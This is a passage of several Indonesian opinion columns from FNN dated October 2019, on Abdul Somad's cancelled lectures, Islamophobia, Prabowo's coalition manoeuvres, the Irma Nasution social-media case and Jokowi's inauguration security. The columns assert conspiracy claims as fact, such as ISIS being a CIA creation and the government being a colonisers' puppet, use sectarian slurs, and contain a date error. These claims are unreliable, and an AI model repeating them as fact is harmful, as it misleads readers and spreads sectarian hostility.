daerah ketika mencalonkan diri. Janji-janji yang belum dilaksanakan, supaya ditagih, agar bisa segera dituntaskan. Masyarakat harus lebih bersuara dan kritis. Tujuannya, agar kedua pemimpin ini dapat memastikan pelayanan publik berjalan optimal. Selain itu, rakyat juga agar dapat menuntaskan janji-janji saat kampanye dulu. Jangan sampai pemimpinnya sudah tidak fokus. Warganya juga kehilangan daya kritis untuk kembali menginmgatkan merera. Tentu akan menjadi alamat buruk bagi daerah. Penulis adalah Direktur IndoEast Institute

Rezim Terus Memburu dan Mempersekusi UAS?

Di media sosial, telah viral siapa saja dalang dibalik pernyataan tuntutan pembatalan ceramah UAS. DEB V secara terbuka menyebut ada keterlibatan rezim dan penopangnya, yang ikut mengkonsolidasi penolakan di Frankfurt, Jerman. Bahkan konsolidasi penolakan juga dilakukan di Bremen dan Hamburg Oleh : Nasrudin Joha Jakarta, FNN - Rupanya, pembatalan ceramah UAS di UGM bukanlah akhir. Umat mengira, di UGM adalah yang terakhir kalinya UAS dihalangi untuk menebarkan dakwah, menyadarkan umat. UAS masih dianggap 'mesin pemusnah massal' yang akan memusnahkan kedunguan, membangkitkan kesadaran, dan tentu hal ini yang akan memicu kebangkitan umat Islam. Keadaan inilah yang tidak diinginkan rezim. Rezim ingin terus menancapkan hegemoninya kepada umat, mengkondisikan umat agar tetap dalam keadaan dungu dan memaksa agar umat ketakutan dan membiarkan kezaliman yang diproduksi rezim. Rezim khawatir dan sangat takut, kedunguan diangkat dari umat, umat menjadi sadar dan atas kesadaran itu umat tak lagi takut dan secara kolektif mengajukan perlawanan semesta kepada rezim. Hari ini (17/10), Ustaz Abdul Somad (UAS) dikabarkan kembali ditolak mengisi ceramah di Frankfurt, Jerman. UAS dijadwalkan mengisi Tablig Akbar pada tanggal 23 Oktober 2019. Penolakan tersebut dilontarkan oleh akun Change.org bernama Deb V yang mengajak warganet menolak acara kedatangan UAS. Deb V. menuliskan alasanya menolak UAS karena sering membuat pernyataan yang intoleran bahkan cenderung provokatif memusuhi sesama Muslim, tapi juga kepada non muslim. Di media sosial, telah viral siapa saja dalang dibalik pernyataan tuntutan pembatalan ceramah UAS. DEB V secara terbuka menyebut ada keterlibatan rezim dan penopangnya, yang ikut mengkonsolidasi penolakan di Frankfurt, Jerman. Bahkan konsolidasi penolakan juga dilakukan di Bremen dan Hamburg. Selain di Jerman, UAS sebelumnya juga batal mengisi sebuah acara Tabligh Akbar sekaligus penggalangan dana masjid fase 2 di wilayah Amsterdam, Belanda. Pembatalan tersebut disampaikan melalui surat pemberitahuan yang diterbitkan oleh Persatuan Pemuda Muslim se-Europa (PPME) Al-Ikhlash Amsterdam. Dilihat detikcom, Kamis (10/10/2019), surat pemberitahuan itu ditandatangani oleh ketua PPME Hansyah Iskandar Putera beserta wakilnya Hasanul Hasibuan. Memang benar, rezim ini tidak menggunakan tangannya langsung untuk memburu UAS. Kadangkala dengan otoritas kepegawaian, kadangkala menggunakan ormas Bani Majengjeng, antek dari partai pengusung rezim, komponen gerombolan kafir (pada kasus laporan polisi), juga menggunakan otoritas kampus (pada kasus UGM). Saat ini, UAS telah berlepas diri dari status PNS nya. Artinya, otoritas kepegawaian tidsk mungkin bisa lagi digunakan oleh rezim untuk memburu dan mempersekusi UAS. Namun kemerdekaan UAS sebagai rakyat biasa tanpa status Aparat Sipil Negara tidak membuat rezim ini berhenti memburu UAS. Kasus Jerman ini, menjadi bukti bahwa perburuan UAS masih terus dilakukan. Sebenarnya UAS ini memang bandel, ustadz yang satu ini intoleran, tidak mau diajak rukun dengan rezim seperti Yusuf Mansur dan Ma'ruf Amin. Andaikan UAS tidak bandel, mau diatur rezim seperti Yusuf Mansur atau Ma'ruf Amin, maka UAS tidak akan pernah mendapat perlakuan zalim dari rezim. Bahkan, ceramah UAS akan didanai dan difasilitasi rezim. Setelah rezim mampu menghentikan 'dampak destruktif' dari seruan-seruan HRS, mampu mengisolasi HRS di Arab Saudi, ternyata dari rahim umat ini muncul UAS sebagai pengganti. Tak suka dengan model dakwah HRS yang tegas dan lugas, rezim juga membenci ceramah UAS yang karib dengan logika yang dibumbui canda. Intinya, semua ujaran yang akan menyadarkan umat, menghilangkan kedunguan umat, pasti akan diburu rezim. Rezim ini tidak ingin umat menyadari, bahwa kebangkitan umat ada pada Islam dan sadar bahwa rezim yang ada hanyalah boneka yang dijadikan alat oleh penjajah untuk menindas umat Islam.

Islamophobia dan Deislamisasi

Oleh Daniel Mohammad Rosyid Jakarta, FNN - Sejak deklarasi war on terror oleh GW Bush pasca penyerangan terhadap the WTC, New York 2001, narasi islamophobia disemburkan sebagai justifikasi atas perang ilegal yang dilancarkan AS dan sekutunya atas Afghanistan, Irak, Libya dan Suriah. Narasi itu mengeras di Indonesia sejak Jokowi Presiden sekitar 5 tahun lalu. Peristiwa penyerangan atas Menkopolhukam Wiranto di Menes, Pandeglang, oleh Pemerintah langsung dikaitkan ke kelompok radikal ISIS. Padahal kita tahu, ISIS adalah hasil kreasi operasi intelijen CIA di Timur Tengah, sama seperti tuduhan pemilikan Weapon of Mass Destruction oleh Saddam Husein, semuanya untuk menjadi casus belli bagi aksi militer pre emptive AS dan sekutunya, sekaligus pasar bagi penjualan senjata oleh industri militer AS. Perlu dicermati, bahwa narasi yang menyudutkan Islam itu bukan hal baru bagi muslim yang hidup di kawasan seluas Eropa yg dulu pernah disebut Nusantara ini. Penjajah Belanda selalu menyebut para pejuang kemerdekaan itu kaum extrimist atau radikal. Terlebih karena para "pemberontak" itu lazimnya digerakkan oleh para ulama yang membina pesantren. Aksi militer Belanda setelah Proklamasi Kemerdekaan disebut sebagai aksi polisionil, atau aksi penertiban atas kaum pemberontak. Bahkan menghadapi ultimatum pasukan Sekutu di Asia Tenggara yang mengepung Surabaya, mbah Kyai Hasyim Asya'ari telah mendeklarasikan Resolusi Jihad. Rezim ini dan juga banyak pendukung fanatiknya yang sok NKRI, sok Pancasila secara sengaja melupakan banyak fakta bahwa NKRI didirikan oleh para ulama (Kyai Hasyim Asy'ari, Ki Bagoes Hadikoesoemo, H. Agoes Salim) yang bekerjasama dengan kaum nasionalis (Ir. Soekarno, Bung Hatta dkk) dan kaum Nasrani (AA. Maramis). Prajurit TNI dibentuk dari santri yang dilatih Jepang (PETA) yang diprakarsai oleh para ulama. Upaya deislamisasi adalah bagian tak terpisahkan dari proses sekulerisasi yang dipaksakan atas bangsa Indonesia terutama melalui persekolahan paksa massal sejak awal 1970an. Melalui persekolahan paksa massal itu secara perlahan tapi pasti, Pemerintah menggusur pesantren dan masjid sebagai pusat-pusat peradaban masyarakat Islam. Diperkuat dengan televisi, proses penyiapan masyarakat industri itu dilakukan secara terstruktur, sistemik dan masiv. Secara perlahan, prosentase perolehan suara partai-partai Muslim dalam berbagai Pemilu selalu menurun. Saat ini kita menyaksikan bahwa masyarakat Indonesia didominasi oleh kaum abangan ( islamiyyun), sementara kaum santri ( muslimun) tetap minoritas. Jagad politik nasional dikuasai oleh "parpol tengah" nasionalis-sekuler. Sekulerisasi itu dimulai dengan mereduksi Islam menjadi sekedar "agama" yang hanya relevan bagi hidup sesudah mati, bukan sebuah cara hidup dengan semua dimensinya, termasuk ekonomi dan politik. Riba misalnya, yang jelas-jelas diharamkan Islam, dilunakkan sehingga bisa diterima sebagai praktek ekonomi yang "normal", darurat berkepanjangan, hingga hari ini. Akibatnya, masyarakat tidak saja miskin tapi juga sekaligus bodoh sehingga mudah dijadikan obyek politisasi para elite. Dakwah yang paling kuat adalah melalui kekuasaan politik dan ekonomi. Bahkan Bupati atau Gubernur yang adil adalah pendoa yang maqbul, lebih maqbul daripada doa kyai yang hanya berbicara di mimbar-mimbar masjid. Deislamisasi dilakukan dengan mengerdilkan masjid sebagai tempat ritual belaka. Khutbah politik dan ekonomi dilarang. Dakwan Islam juga mengalami demaritimisasi, mengasingkan ummat Islam dari kemaritiman sebagai tulangpunggung perdagangan dan jasa. Perdagangan adalah sektor ekonomi yang strategis sedangkan perdagangan global tidak bisa dibayangkan tanpa kemaritiman. Terdapat puluhan kesultanan Islam yang tersebar sejak Aceh hingga Papua yang menjadi pemain kunci dalam perdagangan di Nusantara maupun ke China dan Timur Tengah. Bagi Indonesia sebagai negara kepulauan, demaritimisasi dakwah adalah a gigantic geostrategic mistake. Apa mungkin mempersatukan Indonesia tanpa kemaritiman? Stasiun Bandung, 17/10/2019

Tiki-taka Prabowo, Strategi Kuatkan Negara?!

Terjadi dua faksi istana yang bersitegang, yaitu Teuku Umar dan Gondangdia. Group PDIP-Golkar-Gerindra vs NasDem dan sejumlah jenderal, termasuk Wiranto dan Luhut Binsar Panjaitan. Lalu, apa keuntungan Gerindra? Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Bagaikan permainan sepak bola, manuver safari politik Prabowo Subianto jelang pelantikan Presiden dan Wakil Presiden RI berikutnya menarik untuk dicermati. Strategi tiki-takanya bisa jadi jalan keluar permasalahan bangsa dan negara saat ini. Tiki-taka adalah strategi dalam sepak bola. Intinya bermain manuver dengan umpan-umpan yang terukur, sehingga bisa mencapai tujuan alias goal. Manuver politik yang dilakukan Prabowo memang penuh dengan political shock yang tiba-tiba. Ending berbagai manuver Prabowo yang dimulai dengan pertemuan bersama Presiden Joko Widodo, dilanjutkan dengan Megawati Soekarnoputri, dengan Presiden Jokowi lagi, Surya Paloh, dan Muhaimin Iskandar, untuk mencari “solusi bangsa”. Terakhir, Prabowo juga bertemu dengan pimpinan Airlangga Hartarto di Kantor DPP Partai Golkar. Dalam konferensi pers seusai pertemuan, Prabowo mengaku kedatangannya ibarat pulang ke almamaternya dulu. “Saya hari ini kembali ke almamater saya, saya dulu lulusan Golkar. Golkar menyumbang banyak kader ke banyak institusi di republik ini,” kata Prabowo di DPP Golkar, Selasa, 15 Oktober 2019, seperti dilansir Tempo.co. Sebelum mendirikan Gerindra pada 2008, Prabowo memang bergabung dengan Golkar. Ia juga mengikuti konvensi Partai Golkar untuk menjadi capres pada Pemilu 2004. Prabowo kalah dari Wiranto – kini Menko Polhukam – dalam konvensi itu. Prabowo berujar dia pun tak merasa canggung kembali ke Golkar. Menurut dia, Gerindra dan Golkar memiliki banyak kesamaan. “Kami sepakat untuk menjaga negara dan bangsa yang kita cintai,” kata mantan Danjen Kopassus ini. Prabowo mengatakan Golkar dan Gerindra sepakat untuk bekerja sama di kemudian hari. Ia berujar komunikasi politik yang baik di antara para elit akan membawa suasana yang baik bagi terwujudnya stabilitas negara. Sebelumnya, Prabowo juga bertemu dengan mantan Kepala BIN Hendropriyono di kediaman mantan Pangdam Jaya ini. Semua “persoalan” yang selama ini menyangkut keduanya sudah cair. Tidak ada lagi “permusuhan” politik diantara keduanya. Menjadi oposisi – karena dalam sistem politik Indonesia memang tidak mengenal oposisi – tampaknya bukan menjadi pilihan politik Prabowo yang “kalah” dari capres petahana Joko Widodo pada Pilpres, 17 April 2019. Keputusan Ketum DPP Partai Gerinda Prabowo Subianto mengambil langkah politik dengan Koalisi Rekonsiliasi memang sulit dipahami oleh masyarakat, terutama para pendukungnya. Bagi Prabowo, ini adalah pilihan yang sulit. Kalau Prabowo memilih berada di luar pemerintahan, jelas segala apa yang dicita-citakannya menuju Indonesia Adil dan Makmur akan sulit tercapai. Satu-satunya jalan adalah Prabowo harus bergabung dengan pemerintahan Jokowi. Salah satu contoh, yang mampu menghadang kekayaan Indonesia lari ke luar negeri hanya pemerintah, bukan “oposisi”. Karena, pemerintah-lah yang punya kewenangan melakukan pencegahan tersebut. Masuknya Prabowo dalam Koalisi Rekonsiliasi nanti justru bisa mewarnai kebijakan yang akan diambil Presiden dan Wapres Terpilih. Bisa jadi, jajaran kabinet Jokowi nanti bersih dari koruptor karena dipilih yang kapabel dan cerdas. Konon, Kabinet Cerdas ini tidak ada kader-kader dari partai-partai yang kadernya terlibat korupsi, walau dari Partai Koalisi Pilpres. Sekitar 40-45 persen komposisi Kabinet Kerja II berasal dari Koalisi Rekonsiliasi, sedangkan sisanya dari profesional. Penentuan siapa-siapa yang layak masuk dalam Kabinet Cerdas ini sudah atas konfirmasi Megawati. Namun, sebelum memutuskan, Jokowi diminta Megawati untuk membicarakan dengan Prabowo terlebih dahulu. Itulah hasil Koalisi Rekonsiliasi. Kabarnya, pertemuan Prabowo-Jokowi adalah forum bagi Jokowi meneruskan permintaan Ketum DPP Partai Demokrat Susilo Bambang Yudhoyono agar Megawati-Prabowo mau terima kader Demokrat duduk di kabinet meski hanya 1 orang. Dipastikan, Megawati-Budi Gunawan-PDIP menolak permintaan SBY tersebut. Sedangkan Prabowo cenderung mengulang kesalahan dengan memaafkan SBY, meski sudah beberapa kali dikhianatinya. Sehingga, mungkin masih ada kader Demokrat. Padahal, sebelumnya ada keputusan Koalisi Rekonsiliasi menempatkan Demokrat-Nasdem sebagai oposan pada rezim Jokowi Jilid II tentunya merupakan kiamat bagi SBY. Terlebih lagi, pasca segala upaya tekan Jokowi teken Perppu KPK kandas. Makanya, hingga Kamis, 17 Oktober 2019, batas akhir keputusan penandatanganan Perppu KPK, jika Presiden Jokowi tidak meneken Perppu KPK, maka Revisi UU KPK yang sudah diketok DPR RI sebulan lalu, akan tetap diberlakukan. High Politic Pengamat Politik dan Pemerhati Bangsa Tony Rosyid menyebutkan, 99,99 persen Gerindra bergabung Istana. Tak ada lagi ruang untuk berpikir oposisi bagi Gerindra. Bicara Gerindra, maka tak ada ubahnya bicara Prabowo. Sebab, di tangan Prabowo semua keputusan Gerindra dibuat. Sama halnya dengan Demokrat, PDIP, dan NasDem. Otoritas partai mutlak di tangan ketua umumnya. Bagi para pendukung, ini sebagai bentuk penghianatan. Kenapa dianggap berhianat? Menurut Tony Rasyid, pertama, karena dari awal Prabowo berulangkali membuat pernyataan di depan pendukungnya point of no return. Intinya, akan terus membuat perlawanan terhadap Istana. Semula perlawanan massa. Lalu berubah jadi perlawanan hukum di MK. Kalah, kenapa terus bergabung? Kedua, para pendukung,termasuk barisan mantan jenderal, ulama dan emak-emak kompak menginginkan Prabowo membawa Gerindra sebagai oposisi. Wajar, kalah ya oposisi. Ini logika yang lebih waras. Harapan tinggal harapan. Tak digubris! Di sisi lain, bagi kader Gerindra, langkah Prabowo untuk gabung ke Istana dianggap sebagai strategi high politik, politik tingkat tinggi. Maksudnya? Jika masuknya Gerindra ke koalisi Jokowi itu dimaksudkan untuk memporak-porandakan kubu Jokowi, ini sudah berhasil. Terjadi dua faksi istana yang bersitegang, yaitu Teuku Umar dan Gondangdia. Group PDIP-Golkar-Gerindra vs NasDem dan sejumlah jenderal, termasuk Wiranto dan Luhut Binsar Panjaitan. Lalu, apa keuntungan Gerindra? “Tentu, kalau hanya dapat jatah tiga menteri itu bukan high politik. Itu politik ecek-ecek,” jelas Tony Rasyid dalam tulisannya yang tersebar di berbagai grup WA. Sehingga, terkadang tidak mudah untuk memahami manuver Prabowo. Dari beberapa pertemuan yang dilakukan Prabowo dengan pimpinan partai Koalisi Pilpres itu, yang menarik adalah pertemuan Prabowo-Paloh, Minggu (13/10/2019), malam yang menghasilkan tiga kesepakatan. Kesepakatan itu dibacakan Sekjen NasDem Johnny G Plate di hadapan Surya Paloh dan Prabowo serta wartawan, seusai pertemuan. Berikut tiga kesepakatan tersebut: Pertama, pemimpin partai politik sepakat untuk memperbaiki citra parpol dengan meletakkan kepentingan nasional di atas kepentingan lain. Dan menjadikan persatuan nasional sebagai orientasi perjuangan serta menjaga keutuhan bangsa. Kedua, pemimpin parpol sepakat untuk melakukan segala hal yang dianggap perlu untuk mencegah dan melawan segala tindakan radikalisme berdasar paham apapun yang dapat merongrong ideologi Pancasila dan konsensus dasar kebangsaan. Ketiga, pemimpin partai politik sepakat bahwa amandemen UUD 1945 sebaiknya bersifat menyeluruh, yang menyangkut kebutuhan tata kelola negara sehubungan dengan tantangan kekinian dan masa depan kehidupan bangsa yang lebih baik. Direktur The Global Future Institute Hendrajit menafsirkan poin kedua kesepakatan tersebut. Radikalisme ditujukan ke semua ideologi atau kelompok. Bukan spesifik ke Islam. “Seperti yang sering saya tulis selama ini, radikal itu peruncingan ideologis,” katanya. Bukan fundamentalisme ideologis. Sosialisme demokrasi kalau meruncing ke kanan, jadinya ya neoliberalisme. Kalau meruncing ke kiri, bisa jadi komunisme. Bahkan, nasionalisme pun kalau meruncing bisa jadi fasisme atau ultra nasionalis. “Mengenai poin ketiga, frase amandemen yang bersifat menyeluruh, saya menangkap kesan ini bisa kembali ke UUD 1945. Bukan sekadar mengamandemen beberapa pasal semata,” ujar Hendrajit. Artinya, Hendrajit melihat, ada indikasi ke arah tata ulang pengelolaan sistem kenegaraan. Istilah yang dipakai amandemen yang menyeluruh berarti secara teknis diarahkan kembali ke UUD 1945. “Jadi pahami dulu kerangka besar pandangan yang mendasari joint statement Prabowo-Paloh. Baru kita kritik atas dasar kerangka pemikiran itu,” tegas Hendrajit. Misalnya, kalau benar akan menuju amandemen menyeluruh atau kembali ke UUD 1945, bagaimana dengan masa jabatan presiden? Bagaimana menjabarkan pengertian “setelah itu dapat dipilih kembali”? Artinya kita mau opsi mana terkait masa jabatan presiden? Di Amerika Serikat cukup dua kali masa jabatan. Di Prancis satu kali jabatan, namun 7 tahun. Terus terkait pasal bahwa presiden dipilih melalui musyawarah untuk mufakat oleh MPR sebagai wujud kedaulatan rakyat yang tertinggi. Kira-kira bagaimana implementasinya. Menurut Hendrajit, justru pertemuan Prabowo-Paloh ini jauh lebih serius daripada selfa-selfi Jokowi-Prabowo di Istana beberapa hari lalu. “Pertemuan kedua tokoh ini justru pertemuan politis yang sesungguhnya. Dan substansial. Terlepas apapun hasilnya nanti,” tegasnya. Kalau memang benar Prabowo bergabung dengan Pemerintah, diharapkan nantinya bisa menjadikan Indonesia akan lebih baik. Indonesia Adil-Makmur! Namun, semua kembali pada niat Prabowo di dalam melakukan safari politiknya. Benarkah permainan tiki-takanya demi kebaikan bangsa dan negara di masa mendatang? Atau, hanya sekadar memenuhi hasratnya untuk ikut berkuasa, seperti yang kerap ditudingkan pihak-pihak yang berseberangan dengan Prabowo selama ini!

Advokat Sahlan: Status Medsos Istri Dandim Tidak Ada Unsur Pidana!

Jakarta, FNN - Seorang advokat asal Kota Surabaya, Sahlan, tertarik dengan polemik status hukum Ny. Irma Purnama Dewi Nasution, istri mantan Dandim 1417 Kendari Kolonel Kav Hendi Suhendi. Ia membuat Pendapat Hukum terkait dengan persoalan tersebut. Alumni STIH Sunan Giri Malang itu tertarik untuk memberikan pendapat hukum karena ada yang janggal dalam sanksi yang diberikan KSAD Jenderal TNI Andika Perkasa pada Kolonel Hendi. Banyak pertanyaan seputar persoalan suami-istri itu. Bagaimana pendapat hukum Sahlan terkait dengan persoalan yang menimpa Kolonel Hendi dan istrinya tersebut, berikut petikan wawancara Mochamad Toha dari FNN dengan advokat muda ini: Apa yang bisa Anda sampaikan dalam permasalahan Kolonel Hendi Suhendi dan istrinya, Irma Nasution ini? Perlu dicatat, TNI tidak boleh terlibat dalam politik praktis sedangkan istrinya diperbolehkan. Hal itu sesuai UU TNI Nomor 34 Tahun 2014 tentang TNI hanya mengatur prajurit TNI yang tidak boleh terlibat dalam politik praktis. Kalau itu yang menyangkut suaminya selaku anggota TNI. Untuk istrinya? Ada Surat Telegram Panglima TNI Nomor: ST/1378/XI/ 2014 tanggal 24 November 2014 disebutkan, istri para prajurit TNI diperbolehkan untuk melakukan kegiatan politik sehingga nanti ada yang bisa menjadi bupati atau gubernur. Jadi, tidak ada larangan berpolitik pada istri tentara? Di dalam undang-undang, yang dilarang berpolitik praktis adalah prajurit TNI, sedangkan bagi istri prajurit TNI tidak ada larangan dan hal tersebut diperbolehkan. Ini tidak melanggar Sapta Marga dan Sumpah Prajurit & UU Nomor 25 Tahun 2014 Pasal 8a dan Pasal 9 karena yang melakukan adalah istrinya. Maksudnya? Komandan Korem 143/Ho Kendari Kolonel Inf Yustinus Nono Yulianto mengatakan, dasar hukum pencopotan Dandim Kendari karena dianggap melanggar Sapta Marga di tubuh TNI sesuai dengan ketentuan Undang-Undang Nomor 25 Tahun 2014 Pasal 8a dan Pasal 9. Mungkin bisa dijelaskan lebih lanjut? Baiklah. Kita coba baca dulu tentang Sapta Marga TNI dan Ketentuan Pasal 8a dan Pasal 9 UU Nomor 25 Tahun 2014. Sapta marga TNI adalah sebagai berikut: 1. Kami warga Negara Kesatuan Republik Indonesia yang bersendikan Pancasila 2. Kami Patriot Indonesia, pendukung serta pembela ideologi Negara yang bertanggung jawab dan tidak mengenal menyerah 3. Kami Kesatria Indonesia, yang bertaqwa kepada Tuhan Yang Maha Esa, serta membela kejujuran, kebenaran, dan keadilan 4. Kami Prajurit Tentara Nasional Indonesia, adalah Bhayangkari Negara dan Bangsa Indonesia 5. Kami Prajurit Tentara Nasional Indonesia, memegang teguh disiplin, paruh dan taat kepada pimpinan serta menjunjung tinggi sikap dan kehormatan Prajurit 6. Kami Prajurit Tentara Nasional Indonesia, mengutamakan keperwiraan di dalam melaksanakan tugas, serta senantiasa siap sedia berbakti kepada Negara dan Bangsa 7. Kami Prajurit Tentara Nasional Indonesia, setia dan menepati janji serta Sumpah Prajurit. Ketentuan Pasal 8a dan Pasal 9 UU Nomor 25 Tahun 2014. Ketentuan Pasal 8a dan Pasal 9 UU Nomor 25 Tahun 2014 adalah mengatur tentang Jenis Pelanggaran Hukum Disiplin Militer. Ketentuan Pasal 8a, menyebutkan, "Segala perbuatan yang bertentangan dengan perintah kedinasan, peraturan kedinasan, atau perbuatan yang tidak sesuai dengan Tata Tertib Militer”. Sementara, Pasal 9 mengatur tentang dua jenis hukuman disiplin militer yang bisa diberikan jika seorang anggota melakukan pelanggaran, Hukuman bisa berupa teguran dan penahanan. Penahanan disiplin ringan paling lama adalah 14 hari, sedangkan penahanan untuk kasus disiplin berat bisa mencapai 21 hari. Pasal 10, yang berbunyi, "Penjatuhan Hukuman Disiplin Militer sebagaimana dimaksud dalam Pasal 9 diikuti dengan sanksi administratif sesuai dengan ketentuan peraturan perundang-undangan”. Dalam pasal tersebut bukankah tidak ada kaitannya dengan perbuatan istrinya? Benar. Seharusnya, pencopotan jabatan suaminya itu dilakukan setelah dibuktikan tindak pidana yang dilakukan istri. Sebagai negara hukum dengan asas praduga tidak bersalah maka harus terlebih dahulu dibuktikan dan berkekuatan hukum tetap. Jadi, sanksi KSAD terhadap Kolonel Hendi tidak tepat? Penghukuman yang diberikan tersebut memang tidak tepat. Meskipun hukuman itu terkait pembinaan, kurungan 14 hari dalam sel tahanan yang dikenakan kepada para prajurit, sekali lagi menurut kami, tidaklah tepat. Apakah status Facebook Irma Nasution itu ada unsur pidananya? Status Facebook istri Kolonel Hendi tersebut tidak mengandung unsur pidana. Berdasarkan informasi yang beredar terdapat 2 (dua) status istri eks.Dandim Kendari yang dipersoalkan, yaitu: “Jangan cemen, Pak … Kejadianmu, tak seberapa dibanding dengan jutaan jiwa yang melayang”. “Jadi teringat kasus Setnov. Ada lanjutannya ternyata. Menggunakan peran pengganti”. Berkaitan dengan hal tersebut bagaimana pendapat hukum Anda? a. Bahwa status “Jangan cemen, Pak … Kejadianmu, tak seberapa dibanding dengan jutaan jiwa yang melayang”. Menurut pendapat saya dapat dinilai sebagai bentuk “curahan hati” dan/atau “panggilan hati” melihat kondisi negeri ini. Dan/atau juga dapat dinilai sebagai motivasi agar segera bangkit dan tidak merasa kalah atau lemah atau Cemen; b. Bahwa apabila ada maksud melaporkan istri eks Dandim Kendari ke aparat, atas dasar apa? Atas unsur-unsur pidana apa? Apabila atas dasar pasal 28 (1) dan (2) UU ITE No.19/2016 Jo. UU No. 11/2008 tentang hoax dan ujaran kebencian. Di mana letak frasa dari status tersebut yang bermuatan ujaran dan/kalimat dan/frasa yang mengandung kebencian? Dan/atau adakah status tersebut berupa ujaran kebohongan? Berita hoax (pasal 28 ayat 1) yang disebarkan melalui media elektronik (sosial media) yang dapat dipidana menurut UU ITE tergantung dari muatan konten yang disebarkan. Jika bermuatan penghinaan dan/atau pencemaran nama baik dipidana berdasarkan Pasal 27 ayat (3) UU ITE dan Jika bermuatan menimbulkan rasa kebencian berdasarkan SARA dipidana berdasarkan Pasal 28 ayat (2) UU ITE. Saya berpendapat bahwa tidak terdapat keterkaitan antara yang dituduhkan hoax dan ujaran kebencian, dan juga tidak terdapat status yang berupa ujaran kebencian dan/atau yang dinilai sebagai hoax; c. Bahwa apabila akan dilaporkan atas delik pencemaran nama baik, pasal 27 ayat (3) UU ITE. Apakah status tersebut menyebutkan nama Wiranto? Frasa “jangan Cemen, pak….” bisa jadi yang dimaksud adalah bukan Pak Wiranto, barangkali bapak” yang lain? Kalau Wiranto merasa tersinggung mestinya Wiranto yang melaporkan? Karena pasal ini adalah delik aduan; d. Bahwa atas dasar penjelasan di atas, untuk saat ini saya berpendapat tidak terdapat unsur pidana pasal 27 ayat (3), atau pasal 28 (1) dan (2) UU ITE No.19/2016 Jo. UU No. 11/2008. Karenanya, semua polemik hukum terkait status FB istri Eks Dandim Kendari seyogyanya dihentikan. Saran Anda pada institusi TNI? Seharusnya pimpinan TNI tidak menjatuhkan sanksi terlebih dahulu kepada para suami dari istri TNI yang belum tentu bersalah secara hukum. Apalagi, tidak ada aturan dalam UU TNI yang mengatur soal sanksi atas perbuatan istrinya.

Pak Jokowi, Kenapa Pelantikan Dibuat Tegang?

By Asyari Usman (Wartawan Senior) Jakarta, FNN - Pak Jokowi, pelatikan presiden atau perdana menteri adalah saat-saat yang membahagiakan. Di mana pun di dunia ini. Seperti halnya pelantikan Panjenengan pada 2014 tempohari. Rakyat berbondong mengelu-elukan Anda. Berebut jabat tangan. Berlomba-lomba untuk selfi bersama Sampeyan. Semua orang ceria. Banyak tepuk gemuruh. Tapi, kali ini, kenapa suasananya akan berbeda? Kok dibuat tegang, Pak? Terasa seram sekali. Bakal ada pengerahan 27,000 personel keamanan. Tentara dan polisi dikerahkan untuk mengawal pelantikan Bapak. Hampir bisa dipastikan akan banyak “road block” dan kawat berduri di mana-mana. Kenapa, Pak Jokowi? What’s wrong, Sir? Bukankah pelantikan kedua ini momen yang luar biasa bagi Anda, Pak? Menang untuk periode kedua harusnya menandakan pengakuan rakyat terhadap kinerja Anda. Tapi, kok bukan itu yang akan terlihat. Kenapa ‘Njenengan malah membentengi diri di balik kawat berduri? Kenapa Anda harus dilantik di balik barikade barakuda? Di balik barisan keamanan bersenjata lengkap? Memangnya ada yang berani mengganggu Bapak? Siapa berani? Tak bakalan, Pak. Enggak mungkin! Rakyat oposisi takut semua sekarang. Takut dikatakan radikal atau teroris. Dan juga takut dikeroyok brutal. Takut dipentungi ‘gaspol’ dan ditendangi dengan sepatu laras. Terus, polisi mengatakan mereka tidak akan merespon pemberitahuan unjuk rasa (unras) oleh siapa pun. Intinya, tidak boleh ada demo. Mulai 15 Oktober sampai 20 Oktober 2019. Dengan alasan acara pelantikan panjenengan akan dihadiri para tamu VIP dari luar negeri. Karena ada tamu asing itu, perlulah ditunjukkan bahwa kita ini beradab dan santun. Ini yang dikatakan pejabat tinggi keamanan di Jakarta. Hanya saja, Pak, mengapa keberadaban dan kesantunan hanya diperlihatkan kepada para tamu asing saja? Kenapa begitu, Pak? Apakah di hadapan rakyat tidak perlu beradab? Tidak perlu santun? Maaf, Pak. Saya bertanya karena sewaktu berlangsung rangkaian unjuk rasa mahasiswa, pelajar dan komponen rakyat lainnya belum lama ini, tak terlihat aparat keamanan tampil beradab apalagi santun. Begitu, Pak Jokowi. Mungkin Panjenengan tahu juga ada korban yang pecah tempurung kepala. Ada yang wajahnya tak dikenali lagi. Bahkan ada yang langsung masuk surga, insya Allah. Jadi, sekali lagi saya bertanya, Pak Jokowi. Kenapa, pelantikan periode kedua ini terkesan sangar, Pak? Ada apa gerangan? Berbeda kontras dengan pelantikan 2014. Waktu itu, rakyat senang Anda menang. Sekarang, kok ada kesan rakyat tak tenang Anda menang. Mumpung masih ada waktu. Pak Jokowi bisa membuat pelantikan 20 Oktober nanti bersuasana rileks. InsyaAllah, bisa. Dibuat santai saja, Pak. Bukankah koalisi Bapak sekarang menjadi mayoritas besar dan solid? Tidak ada yang harus dicemaskan. Semuanya punya Sampeyan, Pak. Ketua MPR, orang Bapak. Ketua DPD, juga. Ketua DPR, apalagi. Seribu persen. Pak Probowo pun sudah all-out mendukung Panjenengan. Meskipun para pendukung beliau tak ikut. Artinya, yang tidak mendukung itu orang-orang lemah semua. Tak punya apa-apa. Jadi, sangat amanlah, Pak! Tak perlu baridake atau perintang jalan. Tak usah pakai kawat berduri. Karena kesannya mencekam. Terasa tegang, Pak. Ini hanya saran, Pak. Selebihnya terserah Panjenengan. [] 16 Oktober 2019

Tragedi Irma Nasution

Oleh Dr. Syahganda Nainggolan, (Sabang Merauke Circle) Jakarta, FNN - Irma Nasution, istri Kolonel Hendi Suhendi, akhirnya berurusan dengan kepolisian RI dalam sangkaan kasus ITE, yang heboh belakangan ini. Irma dianggap memposting hal hal yang kurang beradab terkait penusukan Jenderal (purn) Wiranto di Pandeglang. Kolonel Suhendi yang dipecat dari jabatan Dandim bangga dengan istrinya, tidak menyesal. "saya bangga telah menjadikan istri saya, istri yang bebas merdeka", kata Kolonel Suhendi. Irma Nasution telah mengukirkan namanya sebagai perempuan merdeka atau independen dalam zaman now ini. Dia telah menjadi perempuan kedua dengan nama yang sama dalam sejarah bangsa kita. Irma Nasution pertama adalah putri Jenderal Besar Abdul Haris Nasution, yang dibunuh tentara pro komunis, Oktober 34 tahun lalu. Irma binti A. H. Nasution ditembak mati ketika dipeluk ibu asuhnya. Kekerasan politik di masa itu membuat dendam dan membunuh adalah suatu kebiasaan, juga terhadap perempuan dan anak-anak. Istri tentara menurut keterangan resmi Kapuspen TNI, Mayjen Sisriadi, merupakan tanggung jawab tentara itu. UU No 